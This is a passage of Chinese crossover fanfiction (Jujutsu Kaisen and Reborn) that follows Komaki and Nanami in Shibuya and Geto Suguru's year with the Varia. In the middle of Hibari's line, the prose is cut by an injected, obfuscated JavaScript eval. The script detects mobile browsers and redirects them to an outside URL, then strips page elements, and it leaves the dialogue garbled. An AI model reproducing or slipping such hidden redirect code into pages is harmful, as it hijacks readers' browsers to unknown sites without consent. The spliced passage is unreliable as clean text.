小莳的大脑飞速厘清新收入的信息,重新推翻了之前的初步判断,万亿脑细胞任劳任怨由她驱使,化作一条条交织勾连的线,新的想法就像跳蚤一样在此不连续的简陋桥梁上跳跃。 七海建人没有回答关于宿傩的问题,在此之前他有不得不先问的内容:“你说的夏油杰,是怎么回事?” “更准确的说是用术式占用夏油杰身体的未知存在,他可以通过寄宿大脑,窃取术式和记忆。真正的夏油杰应该是死了,看表情你认识他?” ………… 五条悟如果没被封印是好事,但夏油杰这个名字又勾起了七海建人过去狗屎一样的回忆,他又想到灰原雄,想到百鬼夜行,想到自己回来时见到的夏油杰盖上白布的尸体。 如今本该入土为安的前辈连死后也不得安生,被这样玷污。 七海建人:想逃,想去关丹。 好像戳到人伤心事了,今天的情况小莳都看在眼里,是彻彻底底盖棺定论的水深火热,要说这里东京人民有多幸福,她第一个不同意,马斯洛一定也不同意。 在这时,即便是无心之言造成的伤痛,其杀伤力也不会削减分毫,小莳觉得有点抱歉,七海建人的沉默没有泪水和哀悼,是皮肉齐整但骨骼断裂的凋零。 两人都没有说话。 正是如此,场景里远远地出现一阵杂乱无章的脚步声,那声音这样明显。 听声音也就是几十米开外,小莳扯了扯七海的西装后摆--实际已经衣衫不整,但她重新diy的,指了指那边的方向,然后噤声的手势。 她收回发夹,夹住刘海,然后悄无声息动作像猫一样蹬上墙顶,蹲伏在角落里悄悄观察。声音在柱子后面的洗手间附近。 两个女孩,她们在搬的也是眼熟的人,这红帽红鞋,不就是几十分钟前她在天桥那边看到的运动健将?小莳掏出手机拍了张照片,于静谧中悄然落地,把手机相册打开递给七海建人。 七海建人还挺高的,小莳扯着他袖子让他侧着点,小声在他耳边说:“之前在地下五层见过那两个女孩,她们挺笨的,我没在意。” 在封印五条悟一切事宜结束后,两个姑娘恳请寄生者离开夏油杰,让他遗体得以安息,这很明显成不了,当场就被拒绝了。小莳新学了一个词,缔结束缚,原来术士是真的可以对天发誓的。只要束缚立下,就有冥冥之中的存在保障施行。 然后两个女孩就被反派团队彻底遗忘,也没把她们干掉咋地,小莳当时随便猜测是出于对被诈骗人士的怜爱,没放心上。她料想这两人一定不构成威胁,否则多半会被斩草除根。 七海建人一看,是枷场双子,夏油杰的家人,百鬼夜行的时候在对面阵营残害了高专和群众好些人。她们在拖行的人是虎杖。 不清楚泽田是怎么得出结论,但七海建人清楚她们的实力在他之下,他一人就能解决,应该保护的后辈无意识的躺在那里不知生死,做前辈岂能袖手旁观。 他冲了出去。 小莳:……好勇。 第一天来涩谷,小莳还是倾向于对新环境新人的态度更保守些,她这边的情况也是版本更新刚从冷了两年的坟场放出来,打包直接送进巅峰对决,迎战顶级高手。 不知道阿纲他们在很多年前第一次来到十年后就要面对米欧菲奥列时,是否也有她这样的些许怯懦。想到了不知身在何方的兄长,小莳便又从回忆中汲取得一些蓬勃萌发的生机。她对自己说:“悼念所有曾经征服和将要征服大海的人。” 她召唤自己的双腿,跟着七海建人加入行动,摸索着新世界,探索尚未牢固掌握的规律。 40. 夏油杰死后的一年 说咒术师没有无悔的死亡,推而广之其实对任何人皆如此,有人遗憾自己没有在众人的簇拥下死去,有人悔恨一生的碌碌无为……人这一辈子总会有几件叫他失望的事情发生。 接手前·蟹脚组织多年,亲手编写了新的教义,接待过无数访客,夏油杰想,愚昧蠢笨的猴子都会有痛苦,而他的前挚友,即使是最强,但人类的爱憎离合,八苦七难也并不因此对他有一点宽恕。 他什么也不想说,诸行无常,就这样吧。 散尽了操使的所有咒灵,在好友的目睹下与世长辞,要说多么放不下,那是不存在的。 后悔么,有一点点。 但连一刻也没有为自己的死亡哀悼,下一秒他就来到了一片充满哀嚎的地界。 耳朵是最先接受信息的,尖叫,狂笑,怨愤的咒骂,和刀剑争鸣交错和枪击声。 紧随其后的是鼻子,烟酒杂糅的气息,呕吐物的酸腐,还有浓郁的血腥和令人作呕的躯壳被剖开的原始气味。 然后才是目之所及,入眼是一片猩红的世界,在他看到更多前就被打晕了。 他最后能理解到的信息如下: “XANXUS,你也看见了吧。” “带回去。” 夏油杰以为自己是下地狱了。 实际上他运气不好,在觥筹交错到剑拔弩张中的18分钟,来错了时机,恰好碰上乱斗阶段,如果他再和乙骨忧太打一会兴许就能和瓦利亚没什么战斗力的后勤和清洁组照面。 幸好这些外国人都会说日语,以为他没去过意大利,也不会讲意大利语,连英语都够呛。 他们说自己来的蹊跷,监控画面他也看了,确实蹊跷。 他们有一位同伴在一年前就是以同样的方式在此消失。 夏油杰于是有些低情商问:“那他死了吗?” 被打了,又被告知是她,不是他。 直到他见到一位看起来年轻的橙眼领袖,他才意识到,比起死后的炼狱,这更像是穿越。菜菜子和美美子聊起过这种题材类型的小说。 汗流浃背了,有的咒术师想把普通人豆沙了,与此同时在另一边,有的Mafia致力于拯救世界。 不过泽田纲吉是个很不错的人,夏油杰从第一次聊天时就发现了这件事。 气息柔和的领袖,眼中有慈悲与敬意,而他对家人离散的悲伤也蕴含其中。 那是夏油杰第一次“感受”到泽田小莳此人的存在。 不是有一种说法,人的一生会死三次,第一次是心跳停止,第二次是下葬,第三次是最后一个人把他忘记。 夏油杰从没见过泽田小莳,也没听说过她到底是死还是活,更没参加过葬礼,但在彭格列十代目的娓娓道来中,他见识到了一个虽然不知道是什么样,但是确实活着的人。 不知道东京那边,他的死亡进行到第几个步骤……大概也不会有葬礼吧。 这个世界没有咒术师,也没有咒灵,只有身体里含有潜能的人类,真是美好的世界,所有的一切全都是人类内部的矛盾。 夏油杰来的第一个月是这么想的。 第二个月他意识到,人类的内部也有他以前认为是“不可调和”的矛盾,强者的镇伏,弱者的恸哭,原来哪个世界都一样。只是这边的守护者们和十代目本人已经习以为常,并且依旧向阳生长,这大概就是土生土长的好处,避免了一切水土不服。 他的咒术和术式依旧存在,只不过再没有咒灵可以供他操使,咒力也就用来强化强化身体,作为偶尔出外勤的奇兵出击倒也合适。 往日暗沉不可追,他在这里也有了朝九晚五的新生活,认识了热血拳击手、开朗天然的剑客、大部分时间很沉稳但私下非常想研究他身上不思议现象的左右手(自称)、总是目含探究的幻术师(他感觉此人深不可测)、工作可靠但私下里容易害羞的幻术师助手、完全是小孩子偶尔才靠谱的奶牛西装,最后一位他只见过一次,因为那人不在意大利办公,偶尔回来述职,他在并盛还有自己的产业--云雀恭弥,他们见面的第一眼什么也没发生,第二眼人就冲上来了。 一阵短兵相接。 “你很强,再会。”那人对他说。 他也是这么想的。 在一阵子他工作调动到其他部门。 如果说彭格列总部是以黑西装为主、氛围上近似政府办公楼的正经风格,那么瓦利亚相比之下就像个活泼开朗的草台班子,这里一把手比较任性,二把手还管不住底下的人。 他调来这边做文书工作。 天天加班。 “这是什么,夏油杰,帮王子写一下。” “夏油前辈,贝尔前辈让me自鲨,报告你就帮me写一下吧~” “喂!!废物们,自己写!” 总会因为一些莫名其妙的原因卷入乱斗--内斗。 他觉得泽田小莳能在这边呆数年,还是作为彭格列雾守,还是很了不起的,这里虽然是彭格列下属暗鲨部队,但是领导人只信服九代目,底下的人也……相对而言比较自由生长。 斯库瓦罗有他全套的资料,他说他的操使术式和泽田小莳有一定相像之处,可惜他没有咒灵了,不然可以在团建的时候拿出来给大家睹物思人一下。 然后警告他不要在boss面前提起她,XANXUS作为一个大部分时候不管事的混蛋boss,平生最恨替身梗。 夏油杰问他,弗兰不也被当成玛蒙的替身,不然他头上那个巨大的“范塔兹玛”早就能取下来了。 斯库瓦罗一脸理所当然,甚至神情中表现出“你怎么会问出这么愚蠢的问题”,对他说:在意的人和不在意的人差别就是这么大,“你会在意那些脑袋通了的小家族们谋划的可笑骗局吗?不,这些无关紧要的东西只有要出现在总结报告上的时候,你才会祈祷几个月前他们不要犯蠢。” 总结报告也是夏油杰的职责范围,真是不写卷宗不知道,做Mafia中的领头羊要处理的庶务也太多。夏油杰想,瓦利亚果然是一群性情中人,爱与不爱表现的都太明显。 不过也许还有一个理由是玛蒙还好好的活着吧,不仅如此还曾是斯库瓦罗的心脏供体,现在投资了不少产业,盆满钵满,而泽田纲吉的妹妹不知所踪。 幻术真是奇妙,甚至能幻化出人的内脏。斯库瓦罗在十多年前在战争中心脏被刺中,玛蒙及时帮他修补了伤患处,度过了一段惊心动魄的时光。后来他用猪心脏瓣膜和外科手术恢复了。 现任雾守的助理库洛姆小姐好像也是如此。十几岁的时候车祸,大半内脏受损,被六道骸所救。 多亏了斯库瓦罗的提醒,他婉拒了贝尔菲戈尔建议他染白毛大伙们睹物思人的不正当请求,他连自己的刘海都不想撩起来,更不想改变发型发色。 泽田小莳从照片看起来是个活泼的女孩,虽然贝尔说她“狡猾,懒惰”,弗兰说她:“干事创业激情不足”,路斯利亚说她“可爱但很多时候不可爱的小家伙”,所有的评价里他唯独愿意参考斯库瓦罗的“很强,你也看出来大家都挺喜欢她,希望有一天你也能和她搭档。” 斯库瓦罗还说:“小莳如果在的话应该会挺喜欢你的,性格也合得来。” 其实斯库瓦罗的重点隐去了,他觉得小莳绝对会喜欢黑发,帅哥,能帮她写报告的男人,性格反而是其次。瓦利亚的性格那么多样性,大家照样和睦相处下来了。 夏油杰意识到,瓦利亚和彭格列一样的是,在这里泽田小莳也是一直被同伴铭记的家人,她没有被任何人忘记。这样的情感牵绊,说实话还是值得挂念的,他由衷祝福,也难免会想起自己选择的家人。 值得庆幸,圣诞节的那场胡来没有让除了他以外的任何人受难,他们都还在彼世的日本好好活着。 夏油杰正式和XANXUS见面和有工作上的交集是在一个厨师被扔出窗外,而斯库瓦罗在北欧的时候。他不明白,只是一个后勤人员,为什么还要开一个视频会议总结情况。 “总之,路斯利亚你去安抚首领,我大概还有两天。”背景音是轰炸,和突突突的响动,夏油杰不太愿意细想斯库瓦罗的艰苦工作条件。 “我不买菜,因为我是王子,嘻嘻。” “me的头好疼。” “属下甘愿为boss做牛做马。” “不行列维,你一说话boss万一嫌烦我们就没有屋顶了。我提议让夏油准备食材。” “附议。” “附议。” ——除了列维和他本人,全票通过。 “好,那就先----”信号断了。斯库瓦罗的声音戛然而止。 夏油杰遭遇了瓦利亚职场上迄今为止最大挑战。 说是买菜其实并不需要出门,城堡里的东西多得是,只是要安抚受惊的厨房人员,和端菜到XANXUS办公室让他吃下,参考顶楼办公室三天两头的爆炸,和经常足以让庭院里的人听到的斯库瓦罗的吼叫,他大概理解为什么其他人不愿意接受这种工作,除了列维。 路斯利亚有晴属性,治疗能力比较强……靠谱在瓦利亚也算是将军程度(矮个里面挑将军)。 夏油杰只见过几面XANXUS,没和他说过话,不过对方身上确实有一种斯库瓦罗所言的威严,即便如此夏油杰也并没有追随并效劳的打算就是了。 他端水果的时候,刚刚路过得墙壁就被打出一个大坑,死气之炎配枪支弹药,加倍的强大。他敏捷地后退一步,没让自己的身体遭受任何伤害,然而刚站定身体,下一发子弹又向他脚下飞射而来。 夏油杰于是知道,今天的XANXUS大约心情不好,自己被选上作为了发泄脾气的对象。作为一个性格中有温柔成分但内心还挺骄傲的男人…… 他和XANXUS打起来了。 术式没有,领域更是没头绪,但好歹本人也是特级水平,那一夜,瓦利亚人没有了家。 午夜,穿着睡衣的泽田纲吉赶到现场把两个人都冻起来了。 夏油杰重新出土的时候身边围绕着新同事们,还有来探望的守护者们。 他们在唇枪舌战,不像来慰问的。 屉川了平称赞他是个极限的男人,列维让他拱出去,一对一开打。 接下来的事情就和滚雪球一样。 夏油杰:“……” “嘛嘛,不用在意这些细节,没想到夏油你能和那个XANXUS有来有回到阿纲来,斯库瓦罗真是辛苦了。”山本武宽慰着他,一不小心又聊到其他方面去。夏油杰善交际,自然知晓眼前的雨守和斯库瓦罗私交甚好,听说鲛冲击就是很多年前从斯库瓦罗那学的,可以理解。 夏油杰看看自己的手,奇妙,没有水也能冻成冰。他在文书里看见过零地点突破,是一种相对正向火炎的负能量,这点和咒力倒是相似,像悟的【苍】和【赫】那样吗? 哎呀,怎么又想到他了。 总之在那以后,夏油杰的大部分文书工作就外包了出去,他的生活变成了接到任务出外勤,没有任务就下班的半自由状态,类似于瓦利亚的其他成员。 偶尔也和人同行。 有人这么说他:“没有火炎,只是强大的□□,真是了不得。” 夏油杰心想,你这可就让我想起以前做咒术师时候一些不愉快的回忆了,勿cue。 直到他被安排去并盛的那一天,他一直跟着瓦利亚行动。 他带着匣子和两只戒指回到城堡收拾行李,所有小队成员都出来围观。 路斯利亚啧啧称奇:“居然连奈亚都给出来了。骨残像和地狱之眼……我怀疑是十代超直感发作。” “弗兰,你去让奈亚出来陪我们聊聊天。”贝尔在后面推了青蛙头一把,“我们这唯独你一个雾属性。” “这次并盛的事情很可能和小莳有关?” 斯库瓦罗面色纠结,在夏油杰看来就是想高兴,又不确定的状态。沉着但火爆的银发男人压低了众人的期待:“别高兴太早,也可能只是泽田纲吉判断失误,或者太迫切。” 距离泽田小莳杳无音讯,已经过去了2年。 夏油杰脑袋里突然就出现了“近乡情怯”这样的词,队长确实是个情感细腻的人,不愧是雨属性。 他把匣子抛给弗兰,弗兰反而犹豫:“万一奈亚子不喜欢me的火炎,贝尔前辈你可不能用刀戳我。” 说完他就被戳了一下:“废话,快做。” 弗兰的话并非空穴来风,奈亚拉托提普并不是一般被制造出来的匣兵器,比起兵器更像是阴阳师设定里召唤物式神一样的存在……泽田小莳亲手从神话中将他创造出来。据他所知,世界上并不存在能够凭空捏造出来的新生物,还是会说话有独立思考能力的那种。 而比起单纯的幻术或者召唤术,这已经算是创造生命或者解码宇宙奥秘这样的范畴了。弗兰天赋上佳,也仍然是人类,神明的世界他暂不奢望。 幸好,祂出来了。或者说,她。 “肿胀之女。” 夏油杰因为斯库瓦罗对于小莳能力的描述,特地去看过克苏鲁神话。没什么兴趣,后面干脆直接上网搜,他知道千面之神的名号,知道他能化身成诸多形象,在人间接受祭拜,蛊惑宗教团体和人类。 也知道肿胀之女,那是传说中奈亚拉托提普的千面之一,表面是以扇掩面的东方美人,实际在幻象之下,是能够肢解□□残害生灵的食脑恶魔。 “家人们,好久不见!”棕色长发发橙眼的旗袍女性执折扇给众人行了一礼。 夏油杰对此特殊匣兵器的第一印象是:你这肿胀之女怎么长得像泽田纲吉。 他不知道的是,这个形象其实来源于小莳印象中的母亲,泽田奈奈。最初的,唯一的起源是她对母亲的幻想。 温和爱笑,具有大空的气息,和神话中有较大出入。此刻夏油杰只想着,确实要以实物为准,他以前自己的那些咒灵也并不总是和传闻怪谈里尽然相似。 出行前,肿胀之女回到了匣中,她向他施了一礼,“接下来就交给您了,夏油。” 他又去见了XANXUS,对方背光坐在红色古典皮质沙发上,看不清神情:“去吧,有情况随时联络瓦利亚。” 夏油杰不太是爱屈居人下的性格,他从没把XANXUS当成过首领,硬要说的话对方也没做过什么首领该做的事,在他来的大半年。不过这下他亲眼见到了对方身上的风范,甘愿让傲慢的斯库瓦罗放弃一切追随的领袖,其形象在夏油杰心目中变得真实起来。 飞行14小时到并盛,到达风纪财团已是第二天早上十点。 10月22日下午,他又一次见到了云雀恭弥。 听说他携带的物品,对方有了几分兴味,“哦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413108|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来泽田这次有备而来。” 他在瓦利亚也听说了相似的说法,对他们来说,带上匣子和戒指就像是有些近战咒术师会随身携带咒具那样。应该颇有点“动真格”的意思在里头。 晚间,在新出现的山林里,夏油杰久违的看见了残秽,一片一片,想忽视都难。 关于泽田小莳的调查至此被引向新的方向,很遗憾,大概这件事情和她暂且脱离干系了。 咒术界,夏油杰心底难得又升起了迷茫又苦涩的情绪,真是不幸。 10月23日,他和云雀恭弥座谈大半天,下午回酒店写报告。 关于咒术界的一些信息。 从事了行政工作才清楚,彭格列的管理方法经过好几轮改革,要比咒术界那边高效准确不少,令人唏嘘。 10月24日,他被泽田纲吉联系,继续留在并盛町行动,瓦利亚那边暂时不必回去了。 又是岗位变动。 一年来转岗多次,但夏油杰对这一安排已经有所预料,面对世界层面的改变,他又是彭格列唯一了解情况的人,在这里……保护当地居民吗? 换了新的世界,有了新的世界观,他和普通人没了“产生咒灵”这个根本对立点,自然也没必要延续豆沙的理念,而并盛是彭格列守护者的家园,是风纪财团的总部,两天呆下来这边的民风也温良。 比起东京简直像是世外桃源。 然而这样的生活也可能快要终了,夏油杰本人有点苦恼,如果这里也出现咒灵,他要怎么办。 首先彭格列家族是不会放任他延续之前的理想信念的,而他在意大利的时候不巧把老底都卸光了,从叛逃到百鬼夜行,他们什么都知道。 怎么说呢,就算是像重操旧业也有一定的实施难度,自己大概会像白兰·杰索一样被正义的mafia们组织。 这个世界当真疯了,有朝一日mafia这个职业也能成为世界基石,他难以想象。 10月25日,他去看了云雀恭弥捡到的人。 是咒术师,昏迷中,与残破的□□相矛盾的是他身上难以忽视的咒力。 10月26日,水库森林那边有了点动静,草壁哲矢开车前往查看,一无所获。夏油杰在商业街和医院逛了一圈,没看见咒灵。回去就见到了里包恩。 “ciao,阿纲派我来监视你。” 好直白的话,不像是彭格列年轻有为的首领会说出来的,倒像是里包恩本人的威胁。 夏油杰随后看到了十代谕令,说是谕令,其实是一封情感真挚的手写信,附上泽田纲吉专属的大空火炎,这类似于残秽,是泽田纲吉独一无二的标记。文书工作上手的夏油杰随便就看见两个涂改,还有书写整齐的字迹,看了信以后他苦笑:“你们倒是和先礼后兵反着来。” 打消了心中原本的些许负面情绪。 “嘛,你也是family的成员,作为首领阿纲关心你也是应该的。”里包恩揪着自己的鬓角绕圈,姿态倒是一点不扭捏。 夏油杰:好好好,对对对,你搁这点我呢。 匣子搁指环暂时仍然存放在他那。 10月31日凌晨,地震。 风纪集团观测到一条新的公路。 不知道什么时候出来的,从森林连接着水库,一直通往并盛干道,除了夏油杰没有任何人发现不对。 他和云雀恭弥还有里包恩说明了情况,让他们找出之前的报告对比。 细节之中有魔鬼,终现端倪。 18点,医院出现情况,绷带人的各项指标出现波动。 19:30夏油杰和里包恩抵达医院。 夏油杰在绷带男子应激一样剧烈的反应还有言语之中不幸得知自己死后竟成了大反派。 对方看到他的时候挣脱了医疗器具,抢救了一轮又回来了。 他不是乱杀咒术师的人,对方没必要这么应激。 然后他听闻了封印五条悟的计划。 时间是万圣节,地址在涩谷,咒物,狱门疆。 “今天是什么日子?” “万圣节。” 夏油杰拍脑袋。 他决定前往涩谷。 至于与幸吉,原来水库那边的残秽全是他和真人留下的,而他已经死了。挺巧的,夏油杰之前也洗了。 他苦笑,看来彭格列风水不错。 云雀恭弥一直在外面高强度巡逻并盛,听闻夏油杰要去前线战场,安排了草璧亲自送他去东京。 21:39,新出现的公路路口,草壁哲矢在看见熟悉的身影后停下了车。 夏油杰也摇下车窗。 “你忘记了这个。泽田给你的东西。”倚着路牌的云雀丢给他放在桌上的匣子,夏油杰特意没有带在身上。 现在又回到他手中。 云雀丢完东西就跳上了路灯,云豆在他肩膀上唱着并盛中学的校歌。 一个冷酷不通人情的上司往往会配备个兼具解说功能的下属,行车时,草璧和他解释:“你的咒灵操术应该是相当强大的能力,然而现在也什么都没有了,涩谷出现了5个特级众多诅咒师突袭行动,对咒术师和一般民众十分不利,又是节假日的商业中心。” “这枚骨残像指环原先属于来自其他家族的幻骑士,自被收容后除了小莳小姐没人使用过他,其中一个原因就是在指环中容纳了成千上万的冤魂,若有不慎便会对使用者精神不利,乃至于被操控,成为燃烧生命的傀儡。” “如果遇到危险,你可以戴上它,即使是没有波动的人类也可能以其他东西为代价……其中凶险不必多说,希望你不要遇到那样抉择的时刻。到时,奈亚拉托提普或许能救你一命。” “恭先生比较不善言辞,请不要介怀。” 草璧又介绍了风纪集团和彭格列家族的紧密联系,再次表示了对夏油杰的友好态度。 作为云雀恭弥的秘书长,又是代为和彭格列联系的第一人,草壁哲矢对那些流传的机密信息基本一个不落的过目。 此时云雀派他做驾驶员本就说明了一些迹象。 夏油杰收下了。 22:40,涩谷周边的街头行人寥寥,来的车辆都被交警拦下,没有出去的车。考虑到今天的日子,这不是寻常现象。 夏油杰下车进入人行道,越过巷子口禁止进入的标志,告别了草壁哲矢。 他向他鞠了一躬:“再见,希望你平安归来。” 干燥的空气,逐渐出现在地上的浆液,墙上的痕迹。 是熟悉但令人厌烦的景象。 没多久他停下来,双手插进裤子口袋,站定。 “还不出来吗?” 他锁定了来者的方位,2点钟方向,距离20米,墙的转角后。不肯出来的样子是鬼鬼祟祟的,先前大幅度行动的姿态是笨拙不明智的,合在一起凑成了愚蠢一词。 夏油杰叹了一口气:“既然不想被发现,为什么动静这么大呢?” 墙后面蓦然探出一个脑袋,月光澄澈,像在其上拢了一层轻纱。几个呼吸后他意识到这并不是月光,而是来人本来白色绸缎一样的发丝。光影晃动间,夏油杰看见了她的脸。 “?” 见过几次照片的女孩就这样出现:“你好,冒昧打扰。请问你身上是不是放了点什么东西?”她还天真友好的伸出左手,向他摇了摇。 41. 第 41 章 小莳的担忧纯属多虑,这两个女孩子并不强,是随手就能干掉的水平。不过也挺可怜,她们遇到的情况就像是本来家属去世了就很难过,结果眼角膜心肝脾肺肾还被掏去移植…… 对方还说:“有本事你去亡灵法庭告我。” 七海认识她们,还念出了名字,枷场美美子和枷场菜菜子,就外表而言长得完全不像双子的两人一脸愤恨。 小莳眼疾手快给了金毛刘海一下,用手上的枪托狠狠敲她脑袋。 指向倒地的方向,和在场唯一一个大人告状:“她先举手机的!这种时候拿手机很明显像是要发动术式,我就顺手。” 和她解释的声音同时响起的是:“菜菜子!”还有对她说的恶语:“我会把你吊起来。” 小莳往七海建人后面一站:“好凶,我差点就怕了。”现在知道金毛是菜菜子,棕毛是美美子了。 一定要说的话还是对面先动手,小莳委屈。 “是宿傩的咒力,你们喂手指了?”虽然是提问,但他口吻笃定,七海建人半蹲下观察虎杖悠仁的情况。 在小莳看来,伤的挺重,内脏好像被打穿,手臂上更是有一个血洞。 这个手法,难道是胀相?据她观察,他有一招是一道血线像枪一样穿透人体,没有子弹那样的额外创口。他那时候似乎喊出了【百敛·穿血】 “我什么也不会告诉你,咒术师。”她手上捏紧了上吊的绳子,末端是红色的缝线玩偶,这个古怪的玩偶让小莳联想到今天看见的不少改造人。 她在心里悄悄评价为,糟糕的审美。 “看着我,美美子。”小莳蹲下,与枷场美美子视线平齐,双目对视,在目光接触时轻而易举催眠了她,“你们来这里做什么?” 枷场美美子的眼神空洞而无光:“喂下虎杖宿傩的手指,请求他夺回夏油大人的身体,让他安息。” “OK,调试完毕,七海有什么问题你自己问。”小莳扭扭脖子,“我有点饿了,希望十二点能吃上热腾腾的宵夜,炸鸡、煎豆腐、土豆泥、汤锅也很不错。” 她伸出手,准备治疗一下大概是狗卷棘同学的虎杖--他们有同款校服。 还没碰到他的时候,她的手就往回缩,小莳隐约感觉有什么东西在他体内。如果碰到的话,可能会发生不妙的事情。这个世界邪门事不少,今天全给她碰完了,以后万圣节坚决不乱出门。 那边七海还在问话,她选择不去打扰他,看着虎杖悠仁的伤口,不如直接接触来得方便,但是注视并且想象修复血脉经络脏腑,也能发挥幻术。 真是个可怜的小孩,年纪轻轻就被真人盯上了。 她慢悠悠用幻术修复虎杖悠仁的身体,倏忽之间,感应到了一阵电流窜入头顶的悸动,300米,不,400米外。区区两条街,根本没有办法隔绝她和造物之间的感应。 小莳久违地感应到来自颅内的翻腾,于瞬息间触动到她压抑了有一阵时日的念想,像湍急水流奔腾冲撞。 咚,咚,咚,是小莳强震急促的心跳,耳边七海和枷场的问答声仿佛浸入深海,完全被隔绝在脑外。毫无疑问涩谷的一切事务在她心中都比不过这阵波动。她看了一眼面前昏迷的虎杖悠仁,他平和的脸上只残留着血痕,手臂的患处恢复如初,肝脏损伤也接近修复完毕。 小莳决定:等有始有终地顺利完成既定的工作。接下来,是私人时间。 “七海海,告诉你一个坏消息,真人在追杀虎杖。”小莳站起身,拍打背对着他的咒术师的肩膀,七海建人真是个好人,和催眠的人问问题也会半蹲下好好提问,“今天的涩谷暗流涌动,海面上的黑云也已就位,就等一场暴风雨了。” 她没等回应就自顾自接着说:“另外一个突发情况,我要离开了。” “……”七海建人似乎想说什么,小莳紧赶着在他前面开口,时间紧迫,插队! “发生了一些这样和那样的事情,而且不便同行。” 七海建人听了一通解释又好像没解释的说辞,他缄口不言,等待小莳的后话。 “好消息是我已经治疗了虎杖同学:现在进行时,如果存在进度条的话我猜已跳到70%,他跑得很快,等他醒来你们可以一起去找五条悟。” “刚刚和他对战的可能是胀相,现在他也不在,所以具体情况你等他醒来问问。” 飞速总结了现下的局势,说出了有效信息,小莳喘了一口,接着说:“情况就介绍到这里为止,接下来是我要对你说的话,你看起来是个很好的人,和你同行很不错。” “我以前认识一个人,他有点爱赌。” “你知道赌场里会有各式各样的赌徒,他们大部分人的资产状况和贪婪程度成反比,越是走投无路,就越是疯狂。家产、金银珠宝、可以卖钱的家眷到自己的身体。到最后,你知道他们会变成什么吗?什么都不剩,什么也没有。血本无归这个词非常生动,当命运的轮盘碾压过渺小的人类时,总会挤出一点最后的血,就像你夏天拿巴掌拍蚊子。” “当我看到你衣衫不整意识不清地向地下行进时,我就知道你是一位不会觉得‘我已经做的够多’的人,但无论因何原因,请不要沉迷其中,不要一直一直地下注。” “差不多的终场收工,离开东京,去乡下,去海滨,随便去哪转转。这世道没有任何一件事该压在孤零零的独行者身上。” 自她闭口,这中间大概有十几秒的沉默,淹没了一切。 “……谢谢。”七海建人下意识松了松领带,在他意识到自己的衣服已经破损后,很惊讶的发现手上确确实实是领带结。又过一会他才反应过来,这是面前泽田小姐的幻术造物。“这些和你认识的人有关系吗?” “哦,因为他喜欢赌博啦~我又不会自己去那些地方看人生百态,在家里看电视不香吗?”小莳笑着挥手,示意他别在意,“只是正好想起那位故人,细想来已经有一阵子没见了。” “治疗完毕,让我们就此别过,祝君武运昌隆。” 空荡的进站大厅响起足音,雨点一样,很快便消失不见。 小莳也不想跑步,可她跑起来比自行车要快,也更安静。机动车发动的声音嘟嘟嘟呜呜呜,没人的街头巷尾隔老远就能听见。 逐渐接近那方位,小莳隐匿气息,顺利潜行绕到那人身后。 这奇怪的须须刘海……夏油杰。 几个小时不见他倒是大变样了,缝合线无了,袈裟换了,身上还多了匣子。 发生甚么事了? 小莳总结着自己知道的有关此人的情报:咒灵操使,据说没有领域,但是他身上的咒灵有不少领域。是个套娃一样作弊的技能。 小莳完全忘记了自己的幻术水平也足矣称得上离谱,光顾着调侃自己刚劝人不要赌,马上自己就要摸黑出手了。 心如擂鼓,她将紧张的情绪吞咽入腹。 * “你好,冒昧打扰。请问你身上是不是放了点什么东西?”比如说她的匣子。 对面的人愣住了,不知道他在愣神什么,地铁站里明明他来的时候她的手机已经变身异形,她确信他没有见到她。 夏油杰后退一步,迟疑并试探着开口:“泽田小莳?” 白发的少女彻底从墙后出来,凭借着月色能看出她穿着一身轻便宽松的运动服,她站稳:“你认识我吗?你应该没见过我吧?” 夏油杰有些奇怪她为什么会这么说,一般都会用“我们没见过吧”的说法,但是他没时间细想,最近一段时间发生的事情颇多,他解释道:“我是从并盛町过来的。” 并简要说明了一下自己在彭格列和瓦利亚都见过她的照片。 少女半信半疑,确实,今天早点时间在地铁站见到的那个是冒牌货,如果这位是真的,也并非说不通。而且他对彭格列的一些信息掌握准确。 但剩下的一半信任她要等拿到手才会交付。 “你可以把匣子给我吗?”想奈亚,想地狱之眼,想骨残像了。 对方表现得也不利落,他说:“你过来拿。”夏油杰也觉得巧合,虽然不大,但骗局的概率不是0。 “……你是咒术师吗?”这个问题小莳早有答案,但她不想表现得自己很清楚,恐生变故。 “是。” “那,你能立个束缚吗?”小莳决定现学现用,这可是假夏油杰亲口给被诈骗的姐妹的建议,小莳偷学来。 夏油杰:“……” 小莳怕给人气走或者他觉得太麻烦打消念头,又开口:“你知道咒术师们的手段层出不穷的,现在这里搞得和百鬼夜行一样,我怕。” “你也知道百鬼夜行?” “那不然呢,我识字,民俗文学看看不可以吗?”少女一脸震惊,“你在说什么”的表情全写在脸上。 “……不,我不是说这个,算了。可以,我可以立束缚。” “要确保这是真的意大利彭格列研发且制造的匣子,并且说明你不会主动伤害我--包括但不限于物理精神灵魂上,如果我对你图谋不轨你可以反击哈。”少女一连串话说出口,“当然不是说我真的对你图谋不轨,只是让你也安心些。” “……好。”夏油杰觉得她万分慎重的样子不像是斯库瓦罗说的“很强”。 束缚缔结后,小巧的身形三两步来到夏油杰身边,对他伸出手,一脸温良乖巧。夏油杰从口袋里拿出,“幸好今天云雀把东西送到车上了。” “真假,他还会亲自送东西,你们关系这么好莫?” “算上意大利述职那次,一共也只见过几面。他可能只是比较期待我能见到你,泽田小姐。” “叫我小莳就行。” “好的,小莳,你为什么不开匣?” 夏油杰也是个吗聪明敏锐的人,真正的小莳汗流浃背了。 他因为对方两秒的停顿又生狐疑,观察着眼前人。他身后响起了动静。 夏油杰有着极佳的体术,出手迅捷如雷,将面前捧着匣的女孩禁锢在身前,然后回头转身。 “……” “……” 真正的小莳面露尴尬,警惕的夏油杰把傀儡桎梏住,两人就是在这样的情况下真正来了第一次对视。 “别别别!”小莳可不想再被反噬一次,她急急忙忙开口:“那是我的傀儡因为不太清楚情况只好造了个出来临时应急一下可你也知道傀儡哪能点燃火炎,但我确认了你给的是真的所以我就出来了!” 一口气说完了,小莳开始喘息。 